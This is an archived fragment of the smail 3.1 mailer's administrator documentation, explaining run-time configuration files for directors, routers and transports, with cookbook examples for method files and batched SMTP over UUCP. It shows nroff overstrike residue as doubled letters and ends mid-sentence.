smail-doc/ 40755 3 3 0 5575353263 10305 5ustar binbinsmail-doc/admin/ 40755 3 3 0 5575352615 11375 5ustar binbinsmail-doc/admin/config100644 3 3 123525 5575352534 12732 0ustar binbin 11.. SSeettttiinngg uupp RRuunn--ttiimmee CCoonnffiigguurraattiioonn FFiilleess The ssmmaaiill33..11 binary is preloaded with a complete con- figuration and needs no run-time configuration files. This preloaded configuration file is tunable over a small range through the _E_D_I_T_M_E file, and should be sufficient for many sites. However, if this configuration is not sufficient for your site, or if you wish to define a router that uses _m_e_t_h_o_d files, then you can write run-time configuration files to adapt smail to fit your needs. 11..11.. TTyyppeess ooff RRuunn--ttiimmee CCoonnffiigguurraattiioonn FFiilleess There are five types of run-time configuration files: +o one or two ccoonnffiigg files, used to set values for a variety of smail variables, +o a ddiirreeccttoorrss file, describing the rules for resolv- ing local addresses, +o a rroouutteerrss file, describing the rules for resolving remote addresses, +o a ttrraannssppoorrttss file, describing the possible methods for performing delivery, +o and zero or more mmeetthhoodd files, which match hosts to transports. The following sections give overviews of the formats of these files, with examples of their use. For a complete format description see the man page _s_m_a_i_l(5). 11..11..11.. CCoonnffiigg FFiilleess Any machine may have a primary and a secondary ccoonnffiigg file which redefines the values for a number of smail vari- ables. These files can be used to define names for the localhost, define where files reside, setup the values for site-definable message header fields and more. Values set in the primary config file override values predefined in the smail binary. Values set in the secondary config file over- ride values defined in the smail binary or in the primary configuration file. Also, the name of the secondary config file can be redefined in the primary configuration file. The capability for having two such files is useful in networked environments with distributed filesystems. For example, on the Sun network at Amdahl Corp., we define the name of the primary configuration file to be _/_u_s_r_/_l_o_c_a_l_/_l_i_b_/_s_m_a_i_l_/_c_o_n_f_i_g which is found on our file- servers. This file is maintained by the group that main- tains the mailers running on all of the Suns. The primary -2- configuration file defines a secondary configuration file named _/_p_r_i_v_a_t_e_/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_c_o_n_f_i_g. If such a file exists on a given workstation, it can be used to redefine the mailer behavior on that workstation without requiring dif- ferent binaries. Because this second configuration file can redefine the paths to any other configuration file or directory, any aspect of the mailer behavior can be changed. Thus, a gate- way machine can use the same primary config file, director file and transport file as the other suns while using its own private router file. In addition, a machine on which a new delivery agent is being tested can define a private con- fig file that points to its own router and transport files. The format for either config file consists of text records that set a variable equal to some value. To set a variable to a string or numeric value, use the form: _v_a_r_i_a_b_l_e = _v_a_l_u_e For example, the file postmaster = tron@glotz.uucp domains = wall.com spool_mode = 0664 sets the default address for the postmaster to ``tron@glotz.uucp'', sets the run-time equivalent of the EDITME variable DOMAINS to ``wall.com'' and sets the permis- sion mode for spool files to allow the file owner and group to write it. Boolean attributes can be set using the notation: +_b_o_o_l_e_a_n_-_v_a_r_i_a_b_l_e and can be reset using the notation: -_b_o_o_l_e_a_n_-_v_a_r_i_a_b_l_e The ``-_v_a_r_i_a_b_l_e'' notation can also be used to set a numeric variable to zero and to unset a value for a string variable. For example, the following config file disables the use of an external transport file and tells smail that configura- tion files are not optional: -transport_file +require_configs Comments using the shell `#' notation and blank lines are allowed in config files. In addition, records can be extended by including white space at the beginning of suc- cessive lines. For example, the following config file sets -3- the RReecceeiivveedd:: header field to use for messages to a multi- line value and sets the name of a user that has few access capabilities: # Use a verbose format for the Received: header field received_field = "Received: by $primary_name with smail ($version_string) id <$message_id@$primary_name); $date" nobody = unknown # unknown has few access capabilities The complete list of variables that can be set in the config files is described in the man page _s_m_a_i_l(5). 11..11..22.. DDiirreeccttoorrss,, rroouutteerrss aanndd TTrraannssppoorrttss FFiilleess The ddiirreeccttoorrss, rroouutteerrss and ttrraannssppoorrttss files all have the same format. These files describe entries in a table where each entry describes the attributes for one director, router or transport. The order of entries in the director and router files is import, in that directors and routers are called in the order stated in the table. The order of entries in the transport file is not important. An entry in one of these files defines: +o a name by which that entry is known. +o a driver which implements the function for that entry. +o a set of _g_e_n_e_r_i_c attributes from a set that can be applied to any entry in the file. +o a set of _d_r_i_v_e_r_-_s_p_e_c_i_f_i_c attributes, from a set that can be applied only to entries that use the specified driver. As an example, the director file entry below specifies the attributes for a director that reads aliases from a file _/_p_r_i_v_a_t_e_/_u_s_r_/_l_i_b_/_a_l_i_a_s_e_s: # read aliases from a file private to one machine on the network private_aliases: driver=aliasfile, owner=owner-$user ; file=/private/usr/lib/aliases This entry is named _p_r_i_v_a_t_e___a_l_i_a_s_e_s, and depends upon the low-level director driver routine named _a_l_i_a_s_f_i_l_e. Errors found while processing addresses found by this director are sent to an address formed by prepending ``owner-'' to the name of the alias, and these the aliases are stored in the file _/_p_r_i_v_a_t_e_/_u_s_r_/_l_i_b_/_a_l_i_a_s_e_s. The _a_l_i_a_s_f_i_l_e director -4- driver implements a general mechanism for looking up aliases stored in a database. By default, this database is simply a file containing ASCII records in no particular order. The file _/_p_r_i_v_a_t_e_/_u_s_r_/_l_i_b_/_a_l_i_a_s_e_s could contain: # tron is the postmaster for this particular machine Postmaster: tron # list the users that are likely to use futatsu frequently Futatsu-Users: tron, # Ronald S. Karr chongo, # Landon Curt Noll deleanu # Jay Deleanu Notice that, as with other configuration files, an alias can be extended across multiple lines by beginning successive lines with whitespace. The separation between _g_e_n_e_r_i_c attributes and _d_r_i_v_e_r_- _s_p_e_c_i_f_i_c attributes mirrors the internal design of ssmmaaiill33..11. Above the driver level, there exist routines that implement aspects of drivers, routers and transports that do not depend upon the specific means for performing the operation. These higher-level functions can be manipulated through the _g_e_n_e_r_i_c attributes. On the other hand, the drivers that actually perform these operations accept a different set of attributes to control their behavior. In the case of a driver thats read or writes to a file, a ffiillee attribute usu- ally exists. In the case of a driver that executes a pro- gram a ccmmdd attribute usually exists to specify how that pro- gram is to be invoked. The complete description of the director, router and transport files is contained in the _s_m_a_i_l(5) man page. Included in the man page is a description for all of the drivers that are included in the ssmmaaiill33..11 source distribu- tion. The following sections describe the preloaded config- uration. To serve as examples, these sections include con- figuration files which are the equivalent of the preloaded configuration. 11..22.. TThhee PPrreellooaaddeedd CCoonnffiigguurraattiioonn In order to gain a better understanding of how configu- ration files can be used to change the behavior of smail, it is useful to know what smail will do if run-time configura- tion files were not used. This behavior is defined in the preloaded configuration which is in the source file _s_r_c_/_d_e_f_a_u_l_t_._c. The preloaded configuration currently comes in two fla- vors: one flavor is for systems that have Berkeley-style networking with TCP/IP, the other flavor is for sites that do not have such networking. The difference between the two -5- is that a networking configuration defines two extra routers to match network hosts by name or by internet address. Also, one extra transport is defined to deliver using SMTP over a TCP/IP connection to a network host. 11..22..11.. TThhee PPrreellooaaddeedd DDiirreeccttoorr CCoonnffiigguurraattiioonn If a _d_i_r_e_c_t_o_r_s configuration file is not found at run- time, then the default pre-loaded configuration is used. The default director configuration supports the following directors: For local addresses of the form ::iinncclluuddee::ffiilleennaammee these addresses will be expanded into a list of addresses contained in the given ASCII file. The files to which these addresses refer are called _m_a_i_l_i_n_g _l_i_s_t files. This form of local address can come from any alias file, forward file or mailing list file. Users cannot supply such addresses them- selves. This director scans for entries in an alias database. The name of this database, and the method by which this file is searched can be changed in the _E_D_I_T_M_E file. As distributed, aliases are taken from the file _/_u_s_r_/_l_i_b_/_a_l_i_a_s_e_s, which is an unsorted ASCII text file. This alias file is optional, and is ignored if it does not exist. Any errors found while resolving addresses produced by an alias are mailed to an address with the string ``owner-'' prepended to the name of the alias, if such a local address is defined. A user may have a file named _._f_o_r_w_a_r_d in his or her home directory. If such a file exists it will be scanned for addresses. Any mail to a user that has such a file will be redirected to the addresses contained within it. The file can contain addresses which specify files or shell commands as recipients. If the for- ward file is owned by root or by the user himself, then deliveries to any shell commands or files are performed under the user's user and group id. Any errors found while resolving this list of addresses are mailed to the Postmas- ter. In a forward file for the user _r_o_o_t, deliveries to shell command and file addresses are performed under an unprivileged user and group ID. The same is true in the case of forward files that were not owned by root or by the given user. Finally, shell command and file addresses are not allowed at all in forward files that are in remotely accessible directories. The mailbox file for a user may contain a line of the form Forward to _a_d_d_r_e_s_s, _a_d_d_r_e_s_s ... as an alternate method for a user to forward his mail. Only one line is read from this file so addresses cannot be placed across multiple lines. The comments that apply to a _f_o_r_w_a_r_d file also apply to this use of a mailbox file, except that it is assumed that a mailbox file is not in a remotely accessible directory. A user is matched by name, either in upper or lower case, with delivery to that user being performed using a transport by the name of ``local''. -6- A user can also be matched by name if the username is pre- fixed by ``real-''. Delivery is performed by a transport named ``local''. Mailing list files can be created under a mailing list directory. This is a directory named _l_i_s_t_s under the directory containing smail utilities and configu- ration files (typically _/_u_s_r_/_l_i_b_/_s_m_a_i_l). A new mailing list can be creating by making a file in this directory which contains a list of addresses. The basename of this file determines the local address which will be expanded to this list of addresses. For example, a file named _i_n_f_o_-_s_m_a_i_l could be created with a list of recipient addresses for the ``info-smail'' mailing list. Errors in delivering to this list of addresses are mailed to a local address with the name ``owner-'' prepended to the basename of the file, if such an address is defined. If a local address is not matched by any other means, mail to that address can be sent to another machine using the ssmmaarrttuusseerr director. The address to which this mail is redirected can be defined in a _c_o_n_f_i_g file by setting the variable ssmmaarrtt__uusseerr. For exam- ple, the following config file line could be used to redi- rect mail to the host amdahl.uts.amdahl.com: smart_user = $user@amdahl.uts.amdahl.com If this variable is not set, then the ssmmaarrtt__uusseerr director is ignored. The order of entries in the director file determines the order in which operations are attempted. If a director matches an address then no other directors are called attempted to expand or resolve that address. A director file which is equivalent to the preloaded configuration is: # aliasinclude - expand ":include:filename" addresses # produced by alias files aliasinclude: driver = aliasinclude, # use this special-case driver nobody; # associate nobody user with addresses # when mild permission violations # are encountered copysecure, # get permissions from alias director copyowners # get owners from alias director # forwardinclude - expand ":include:filename" addresses # produced by forward files forwardinclude: driver = forwardinclude, # use this special-case driver nobody; copysecure, # get perms from forwarding director copyowners # get owners from forwarding director -7- # aliases - search for alias expansions stored in a database aliases: driver = aliasfile, # general-purpose aliasing director -nobody, # all addresses are associated # with nobody by default, so setting # this is not useful. owner = owner-$user; # problems go to an owner address file = /usr/lib/aliases, modemask = 002, optional, # ignore if file does not exist proto = lsearch # dotforward - expand .forward files in user home directories dotforward: driver = forwardfile, # general-purpose forwarding director owner = Postmaster, # problems go to the user's mailbox nobody, sender_okay; # sender never removed from expansion file = ~/.forward, # .forward file in home directories checkowner, # the user can own this file owners = root, # or root can own the file modemask = 002, # it should not be globally writable caution = daemon:root, # don't run things as root or daemon # be extra careful of remotely accessible home directories unsecure = "~ftp:~uucp:~nuucp:/tmp:/usr/tmp" # forwardto - expand a "Forward to " in user mailbox files # # This emulates the V6/V7/System-V forwarding mechanism which uses a # line of forward addresses stored at the beginning of user mailbox # files prefixed with the string "Forward to " forwardto: driver = forwardfile, owner = Postmaster, nobody, sender_okay; file = /usr/mail/${lc:user}, # the mailbox file for System V forwardto, # enable "Forward to " function checkowner, # the user can own this file owners = root, # or root can own the file modemask = 0002, # under System V, group mail can write caution = daemon:root # don't run things as root or daemon # user - match users on the local host with delivery to their mailboxes user: driver = user;# driver to match usernames transport = local # local transport goes to mailboxes -8- # real_user - match usernames when prefixed with the string "real-" # # This is useful for allowing an address which explicitly delivers to # a user's mailbox file. For example, errors in a .forward file # expansion can be delivered here, or forwarding loops between # multiple machines can be resolved by using a real-username address. real_user: driver = user; transport = local, prefix = "real-" # for example, match real-root # lists - expand mailing lists stored in a list directory # # mailing lists can be created simply by creating a file in the # /usr/lib/smail/lists directory. lists: driver = forwardfile, caution, # flag all addresses with caution nobody, # and then associate the nobody user owner = owner-$user; # system V sites may wish to use # o-$user, as owner-$user may be # too long for a 14-char filename. # map the name of the mailing list to lower case file = lists/${lc:user} # smart_user - a partially specified smartuser director # # If the config file attribute smart_user is defined as a string such # as "$user@domain-gateway" then users not matched otherwise will be # sent off to the host "domain-gateway". # # If the smart_user attribute is not defined, this director is ignored. smart_user: driver = smartuser; # special-case driver # do not match addresses which cannot be made into valid # RFC822 local addresses without the use of double quotes. well_formed_only 11..22..22.. TThhee PPrreellooaaddeedd RRoouutteerr CCoonnffiigguurraattiioonn If a _r_o_u_t_e_r_s configuration file is not found at run- time, then the default pre-loaded configuration is used. The default router configuration supports the following routers: This router will match hosts specified as internet addresses enclosed in square brackets. Delivery to such hosts is always performed using the ssmmttpp transport (described in a later section). Any hostname with square brackets that does not match the form of an internet address will be considered an error. An example of an internet -9- address is [[119922..22..1122..114422]]. This router is only available on machines that support BSD compatible networking facilities. This will match internet hostnames that can be matched through the _g_e_t_h_o_s_t_b_y_n_a_m_e(3N) library routine. Often this library function will match any host in the file _/_e_t_c_/_h_o_s_t_s. Deliveries to hosts matched with this router are always per- formed using the ssmmttpp transport (described in a later sec- tion). This router is only available on machines that sup- port BSD compatible networking facilities. A path database is used to match hosts for which routes are known. Nor- mally, this path database is stored in the file _/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_p_a_t_h_s. Often this database will be generated from map files distributed over the USENET newsgroup ccoommpp..mmaaiill..mmaappss, though path databases can also be created through other means. A paths database associates a path with specific hostname or domain. A path is defined as a set of hostnames separated by single exclamation points (`!'), with the last host being followed by the string `%s'. An example of a simple path database is a file containing: .curds.org curds-vax!%s .whey.edu foo!whey-3b20!%s bar foo!bar!%s foo foo!%s Each path in this database specifies the sequence of hosts, from first to last, through which a mail message must pass to reach the host specified on the left-hand-side. For more information on path databases see _p_a_t_h_a_l_i_a_s(8) and _m_k_p_a_t_h(8). Depending upon the configuration specified in the _E_D_I_T_M_E configuration file, this path file may need to be sorted, or it may be stored in a database created with the _d_b_m(3X) library routines (see _m_k_d_b_m(8) for information on how to create these databases). Delivery to hosts matched with this router is performed using the uuuuxx transport, which is described in a later section. The program _/_u_s_r_/_b_i_n_/_u_u_n_a_m_e is used to obtain a list of sites that the local host communicates with over UUCP (see _u_u_c_p(1)). This router compares hostnames against this list and causes delivery to be performed using the uuuuxx transport whenever a match is found. If a hostname is not matched by any other means, mail to that host can be sent to another machine using the ssmmaarrtthhoosstt router. The path through which this mail is redirected can be defined in a _c_o_n_f_i_g file by set- ting the variable ssmmaarrtt__ppaatthh. For example, the following config file line could be used to redirect mail to the neighboring host _a_m_d_a_h_l: smart_path = amdahl If this variable is not set, then the ssmmaarrtt__uusseerr director is ignored. Delivery is performed using the transport named in the _c_o_n_f_i_g file variable ssmmaarrtt__ttrraannssppoorrtt. If this variable is not set then the uuuuxx transport is used. -10- The order of entries in the router file determines the order in which operations are attempted. If a router matches a hostname completely, then no other operations are attempted to resolve that host. If a router matches a host partially, as a domain in the right-hand side of the host- name, then subsequent routers may also find routes. The router which finds the best match, based on number of char- acters matched, wins. In the case of a tie, the router ear- liest in the router file wins. A router file which is equivalent to the preloaded configuration file is: # inet_addrs and inet_hosts are only defined when BSD networking # exists # inet_addrs - match domain literals containing literal IP addresses # # For example, [128.103.1.1] will match harvard.harvard.edu on the # internet. The library routine gethostbyaddr(3N) will be called to # see if a reverse mapping to the canonical hostname is available. inet_addrs: driver = gethostbyaddr, # router to match IP domain literals transport = smtp; # deliver using SMTP over TCP/IP fail_if_error, # fail malformed domain literal addrs check_for_local # see if this is really the local host # inet_hosts - match hostnames with gethostbyname(3N) inet_hosts: driver = gethostbyname, # match hosts with the library function transport = smtp # paths - route using a paths file, like that produced by the # pathalias program paths: driver = pathalias,# general-use paths router transport = uux; # for matches, deliver over UUCP file = paths, # sorted file containing path info proto = bsearch, # use a binary search optional, # ignore if the file does not exist domain = uucp # strip ending ".uucp" before searching # uucp_neighbors - match neighbors accessible over UUCP uucp_neighbors: driver = uuname, # use a program which returns neighbors transport = uux; cmd = /usr/bin/uuname, # specifically, use the uuname program domain = uucp -11- # smart_host - a partially specified smarthost director # # If the config file attribute smart_path is defined as a path from # the local host to a remote host, then hostnames not matched # otherwise will be sent off to the stated remote host. The config # file attribute smart_transport can be used to specify a different # transport. # # If the smart_path attribute is not defined, this router is ignored. smart_host: driver = smarthost, # special-case driver transport = uux # by default deliver over UUCP 11..22..33.. TThhee PPrreellooaaddeedd TTrraannssppoorrtt CCoonnffiigguurraattiioonn If a _t_r_a_n_s_p_o_r_t_s configuration file is not found at run- time, then the default pre-loaded configuration is used. The default transport configuration supports the following transports: Deliver to users on the local machine. Mailbox files for local users are generally found under the direc- tory _/_u_s_r_/_s_p_o_o_l_/_m_a_i_l or under _/_u_s_r_/_m_a_i_l, and have the same name as the corresponding user. To support the generally available user interfaces, such as _M_a_i_l(1) and _m_a_i_l_x(1), certain transformations are performed on the message. Namely, a line containing the return address of the sender and a time stamp is prepended to the message, a blank line is appended at the end, and any line beginning with the word ``From'' will have the character `>' prepended to it. An example of one of the lines prepended to the message is: From amdahl!futatsu!tron Mon Apr 18 16:11:13 1988 In addition, a ``Return-Path:'' header field is inserted which duplicates the return address of the sender. Local addresses which begin with a vertical bar character (`|') are delivered using this transport (the transport name ppiippee is reserved for this purpose). The ppiippee transport executes a shell command by calling the program _/_b_i_n_/_s_h. The message is passed on the standard input to this command. The shell command is formed by removing the vertical bar character from the beginning of the address. The alias or forward address which produced the pipe command address is stored in the environment as "$ADDR". Local addresses which begin with a slash (`/') or a tilde character (`~') are delivered using this transport (the transport name ffiillee is reserved for this purpose). The ffiillee transport appends to a file identified by the local address string. If the local address string begins with a slash, then it identifies an absolute path. If the string begins with ``~_u_s_e_r_n_a_m_e_/'', then this substring is replaced by the home directory of the given user. If the string begins simply with ``~/'', then this substring will be replaced with any home directory associated with the address; e.g., a file address in a -12- user's _~_/_._f_o_r_w_a_r_d file will be associated with that user's home directory. The uuuuxx transport is used as the normal form of delivery over UUCP. This transport will deliver up to five addresses at a time by calling the program _u_u_x(1) to deliver mail to the program _r_m_a_i_l(1) on a remote system. The request is queued, and actual delivery is not attempted immediately. To force an immediate attempt to contact the remote site, use the ddeemmaanndd transport. The ddeemmaanndd transport is used to deliver up to five addresses at a time by calling the program _u_u_x(1) to deliver to a remote _r_m_a_i_l(1) program. In contrast to uuuuxx this transport forces an immediate attempt to contact the remote site. The uuuussmmttpp transport is used to deliver using Batched SMTP over UUCP. It will deliver to an unlimited number of addresses by calling the program _u_u_x(1) to deliver to a remote _r_s_m_t_p(1) program. The request is queued, and actual delivery is not attempted immediately. This transport is used to deliver to an unlim- ited number of addresses by calling the program _u_u_x(1) to deliver to a remote _r_s_m_t_p(1) program. This transport forces an immediate attempt to contact the remote site. For sites that have BSD networking facilities, this transport is available, which performs delivery by opening a TCP/IP vir- tual circuit to a remote host and engaging in an interactive SMTP dialogue to perform delivery. The order of entries in the transport file is not important, unless transport entries with duplicate names exist. In this case, the transport earlier in the transport file is always used. A transport file which is equivalent to the preloaded configuration file is: # local - deliver mail to local users # # By default, smail will append directly to user mailbox files. local: driver = appendfile,# append message to a file return_path, # include a Return-Path: field local, # use local forms for delivery from, # supply a From_ envelope line unix_from_hack; # insert > before From in body file = /usr/mail/${lc:user},# use this location for System V group = mail, # group to own file for System V mode = 0660, # under System V, group mail can access suffix = "0 # append an extra newline -13- # pipe - deliver mail to shell commands # # This is used implicitly when smail encounters addresses which begin with # a vertical bar character, such as "|/usr/lib/news/recnews talk.bizarre". # The vertical bar is removed from the address before being given to the # transport. pipe: driver = pipe,# pipe message to another program return_path, local, from, unix_from_hack; cmd = "/bin/sh -c $user",# send address to the Bourne Shell parent_env, # environment info from parent addr pipe_as_user, # use user-id associated with address umask = 0022, # umask for child process -log_output # do not log stdout/stderr # file - deliver mail to files # # This is used implicitly when smail encounters addresses which begin with # a slash or twiddle character, such as "/usr/info/list_messages" or # perhaps "~/Mail/inbox". file: driver = appendfile, return_path, local, from, unix_from_hack; file = $user, # file is taken from address append_as_user, # use user-id associated with address expand_user, # expand ~ and $ within address suffix = "0, mode = 0644 # uux - deliver to the rmail program on a remote UUCP site uux: driver = pipe, uucp, # use UUCP-style addressing forms from, # supply a From_ envelope line max_addrs = 5, # at most 5 addresses per invocation max_chars = 200; # at most 200 chars of addresses # the -r flag prevents immediate delivery, parentheses around the # $user variable prevent special interpretation by uux. cmd = "/usr/bin/uux - -r $host!rmail $(($user)$)", umask = 0022, pipe_as_sender # demand - deliver to a remote rmail program, polling on demand demand: driver = pipe, uucp, from, max_addrs = 5, max_chars = 200; # with no -r flag, try to contact remote site immediately cmd = "/usr/bin/uux - $host!rmail $(($user)$)", umask = 0022, pipe_as_sender -14- # uusmtp - deliver to the rsmtp program on a remote UUCP site # # The rsmtp program is assumed to to take batched SMTP requests. uusmtp: driver = pipe, bsmtp, # send batched SMTP commands inet, # use internet forms for addressing -max_addrs, # there is no limit on the number or -max_chars; # total size of recipient addresses. # supply -r to prevent immediate delivery, the recipient addresses # are stored in the data sent to the standard input of rsmtp. cmd = "/usr/bin/uux - -r $host!rsmtp", umask = 0022, pipe_as_sender # demand_uusmtp - deliver to a remote rsmtp program, polling on demand demand_uusmtp: driver = pipe, inet, bsmtp, -max_addrs, -max_chars; # with no -r flag, try to contact remote site immediately cmd = "/usr/bin/uux - $host!rsmtp", umask = 0022, pipe_as_sender # smtp - deliver using SMTP over TCP/IP # # Connect to a remote host using TCP/IP and initiate an SMTP conversation # to deliver the message. The smtp transport is included only if BSD # networking exists. # # NOTE: This is hardly optimal, a backend should exist which can handle # multiple messages per connection. # # ALSO: It may be necessary to restrict max_addrs to 100, as this is the # lower limit SMTP requires an implementation to handle for one # message. smtp: driver = smtp, -max_addrs, -max_chars, inet smail-doc/admin/cookbook100644 3 3 47747 5575352555 13271 0ustar binbin 11.. EExxaammpplleess ooff SSmmaaiill RRuunn--ttiimmee CCoonnffiigguurraattiioonnss The following sections give examples of run-time con- figurations that can be used to extend smail in a variety of useful ways. In general the examples do not contain com- plete configuration files and, as such, they should be merged in to existing configuration files where appropriate. When merging in new configuration file entries, keep in mind that order is important in the director and router files. Many of the examples shown here, along with other use- ful examples, can be found under the SSmmaaiill33..11 source direc- tory _s_a_m_p_l_e_s. 11..11.. UUssiinngg MMeetthhoodd FFiilleess At the present time, mmeetthhoodd files (described in _s_m_a_i_l(5)) can only be used in run-time configuration files. Method files can be used to define the transport to be used on a per-host basis. An example of a method file is: # select the transport on a per-host basis # UUCP hosts to which mail should be delivered immediately: sun demand # our internet gateway muts12 demand # internal machine, dedicated link # Hosts to which mail should be delivered immediately with # a non-interactive SMTP protocol over UUCP: busboy demand_uusmtp # gateway to sun network # Hosts to which mail should be queued with a non-interactive # SMTP protocol over UUCP: namei uusmtp # experimental Smail3.1 node # For other hosts, use normal (queued) uucp mail: * uux # all other hosts Many of the standard preloaded router entries could be modi- fied to use this method file to select a transport, rather than allowing only one transport per router. To make this change, copy the router file corresponding to the pre-loaded configuration, found in the Smail source file _s_a_m_- _p_l_e_s_/_g_e_n_e_r_i_c_/_r_o_u_t_e_r_s, to the smail LIB_DIR directory, nor- mally _/_u_s_r_/_l_i_b_/_s_m_a_i_l. Remove the generic attribute ttrraannss-- ppoorrtt and add a generic attribute mmeetthhoodd which points to the uucp methods file. As an example, let's change the ppaatthhss router, described in the section _T_h_e _P_r_e_l_o_a_d_e_d _R_o_u_t_e_r _C_o_n_- _f_i_g_u_r_a_t_i_o_n, and modify it to use the method file above. After removing the ttrraannssppoorrtt attribute and adding the mmeetthhoodd attribute, the router file entry becomes: -2- # paths - route using a paths file, like that produced by the # pathalias program paths: driver = pathalias, # general-use paths router method = uucp; # use "uucp" method file file = paths, # sorted file containing path info proto = bsearch, # use a binary search optional, # ignore if the file does not exist domain = uucp # strip ending ".uucp" before searching Assuming that the values for the _c_o_n_f_i_g file variables mmeetthhoodd__ddiirr and ssmmaaiill__lliibb__ddiirr are ``methods'' and ``/usr/lib/smail'' respectively, the above example will use a method file stored in the file _/_u_s_r_/_l_i_b_/_s_m_a_i_l_/_m_e_t_h_o_d_s_/_u_u_c_p. Method files become extremely useful when extending smail to handle new situations. 11..22.. UUssiinngg BBaattcchheedd SSMMTTPP EEffffeeccttiivveellyy The transports uuuussmmttpp and ddeemmaanndd__uuuussmmttpp will allow you to gain the versatility of the SMTP format, such as support for arbitrary addresses, including addresses containing quoted characters or white space, and support for a large or unlimited number of recipient addresses per transaction. These capabilities are gained by putting an envelope of com- mands around the mail message and shipping the commands and the message in one file. As an example, a mail message to be delivered to ``cathy@foobar.uucp'' might be sent as: -3- HELO busboy.uts.amdahl.com MAIL FROM: <@busboy.uts.amdahl.com:tron@futatsu.uts.amdahl.com> RCPT TO: DATA Received: by busboy.uts.amdahl.com id m0d98az-000gtZC; Mon Jun 27 18:45 PDT 1988 Received: by futatsu.uts.amdahl.com id m0d98ax-0jaZiiC; Mon Jun 27 18:43 PDT 1988 From: tron@futatsu.uts.amdahl.com (Ronald S. Karr) To: cathy@foobar.uucp Subject: Hmmm. It's Email! This is a test of the Emergency Email System. It is only a test. For this and the next several lines we will be conducting a test of the networks between my machine and your machine. This test is being held without the specific knowledge of the network organiz- ers on these networks, though with their cooperation. If this had not been a test, you would have been informed of a restaurant at which you should show up immediately to partake of foodstuffs in the company of at least one other person. . QUIT The line beginning with ``HELO'' identifies the sending host, and the line beginning with ``MAIL FROM:'' identifies a return-path to the sender of the mail message. Any number of recipients may be specified by giving multiple lines beginning with ``RCPT TO:''. The ``DATA'' command signals that the actual message follows. The message continues until a line containing only a signal dot character. Finally the command ``QUIT'' signals the end of the complete transaction. 11..22..11.. BBaattcchhiinngg MMuullttiippllee MMeessssaaggeess iinn OOnnee SSMMTTPP TTrraannssaaccttiioonn The SMTP format allows multiple messages to be speci- fied in one transaction by repeating everything between the ``HELO'' and the ``QUIT'' commands (not including those com- mands themselves) to specify the envelope and contents of more messages. By gathering multiple messages into one SMTP transac- tion, transport of mail over UUCP can be made more effi- cient. This reduces overhead in the UUCP protocol as well as the number of mailer invocations required for mail deliv- ery on the remote side. Unfortunately, SSmmaaiill33..11 processes only one message at a time, so it cannot, by itself, create these multiple-message transaction files. However, smail can accumulate messages into a file or into a directory, using the aappppeennddffiillee transport driver. This allows a shell script or C program outside of smail to -4- create batch jobs to be sent to the uux program. For ease of description, we will do this as a shell script. It is somewhat difficult in a shell script to perform the file locking primatives required to support the accumu- lation of messages into one file, so we will accumulate mes- sages into a directory, one file per message, and concate- nate these files together at intervals. First, we need to write a transport file entry that can handle our needs. It should write files into a directory whose name is based upon the name of the remote host to which mail should be delivered. These files should contain an SMTP command envelope containing all commands necessary for delivery except for the HELO and QUIT commands. The following transport file entry will accomplish this: # accumulate messages into a directory on a per-host basis batch_smtp: # the appendfile driver can also accumulate in directories driver=appendfile, hbsmtp; # half-baked BSMTP, no HELO or QUIT # files whose names begin with `q' will be placed here: dir=/usr/spool/smail/outq/${lc:host}, user=cronjobs, # files will be owned by this user mode=0600, # and unreadable by other users When writing files into a directory, the aappppeennddffiillee driver first writes the file to a temporary file, with a name beginning with ``temp.'' and then renames the file to a name beginning with the letter `q'. Thus, a shell script can assume that any file whose name begins with the letter `q' is in a consistent state. The shell script to perform the actual delivery, called _b_a_t_c_h_s_m_t_p, is then: -5- #!/bin/sh # deliver messages accumulated into subdirectories of the # outq spool directory. Subdirectory names are based on # the actual hostnames involved: OUTQ=/usr/spool/smail/outq UUX=/usr/bin/uux LOCALHOST=busboy.uts.amdahl.com cd $OUTQ # loop through all of the subdirectories for i in *; do ( cd $i list=q* # get the list of message files if [ "$list" = "*" ]; then # no messages were found exit 0 # leave sub-shell fi # send all of the files, adding HELO and QUIT commands (echo "HELO $LOCALHOST" cat $list echo QUIT) | $UUX - $i!rsmtp rm $list ); done exit 0 The script above should be run from cron periodically, by either of the users _c_r_o_n_j_o_b or _r_o_o_t. The execution interval should be long enough that there will not be any chance that two instances of this script will run concurrently. Alter- nately, the script could be changed to loop indefinitely, performing the above operations and then sleeping for some amount of time, say half an hour. This would eliminate any potential problems with accidental concurrency. It is also possible to send the files over in a com- pressed format. This can substantially reduce the telephone costs incurred in the transmission of data over modems, in exchange for greater usage of CPU time on both sides. Com- pression can be done by creating a shell script on the remote end, called _r_c_s_m_t_p (for _R_e_a_d _C_o_m_p_r_e_s_s_e_d _S_M_T_P), which contains the following: #!/bin/sh # Receive compressed batches of SMTP commands and send them # to smail. # the following line should be changed to reflect the # organization of your system. /usr/local/bin/compress -d | /bin/rsmtp exit 0 Then, the _b_a_t_c_h_s_m_t_p shell script should be modified, to form -6- the shell script _c_b_s_m_t_p, so that the pipeline invoking the uux command is: # compress all of the files, adding HELO and QUIT commands (echo "HELO $LOCALHOST" cat $list echo QUIT) | $COMPRESS | $UUX - $i!rsmtp where the shell variable COMPRESS should be the path to the compress program on your system. If your site does not have compress, it can be obtained from a number of sources, including the archives on the host uuuunneett..uuuu..nneett. 11..33.. UUssiinngg tthhee QQuueerryypprrooggrraamm RRoouutteerr DDrriivveerr The qquueerryypprrooggrraamm router driver is handy for performing routing operations for which none of the other available drivers are suitable. This calls upon an external program to perform routing operations. Because the qquueerryypprrooggrraamm driver performs a fork/exec operation for each new hostname, it should be used only for prototyping wherever possible. Writing a new driver which handles your needs is much more efficient. However, if you have a low amount of mail traffic, or if you have a dedi- cated machine and do not mind the overhead, then this driver may be reasonable. To help out somewhat, the driver does cache responses so that a list of routing requests to the same host will result in only one fork/exec. A simple case of the use of the qquueerryypprrooggrraamm driver comes from a need expressed by one of the administrators participating in the smail alpha testing program. His site has a very large number of UUCP neighbors, and the overhead of using uuuunnaammee to obtain the contents of the entire _S_y_s_t_e_m_s file was simply too great. He wrote a command uuuuiinnffoo to query a DBM database formed from their _S_y_s_t_e_m_s file. If this command is invoked with the flag --qq and a sitename, then it will return an exit status of 0 if the site is a neighbor and 1 otherwise. A simple router to use this pro- gram is: # use uuinfo to match neighboring hosts: use_query: driver = queryprogram, # query a program for route info transport = uux; # use this as a default cmd = "/usr/local/bin/uuinfo -q ${lc:host}", domain = uucp In this case, only the status of neighbor versus non- neighbor is obtained. It is also possible to call a program that returns a path and a transport. A simple case, which -7- would be handled more efficiently with a paths database and a method file uses the following shell script, 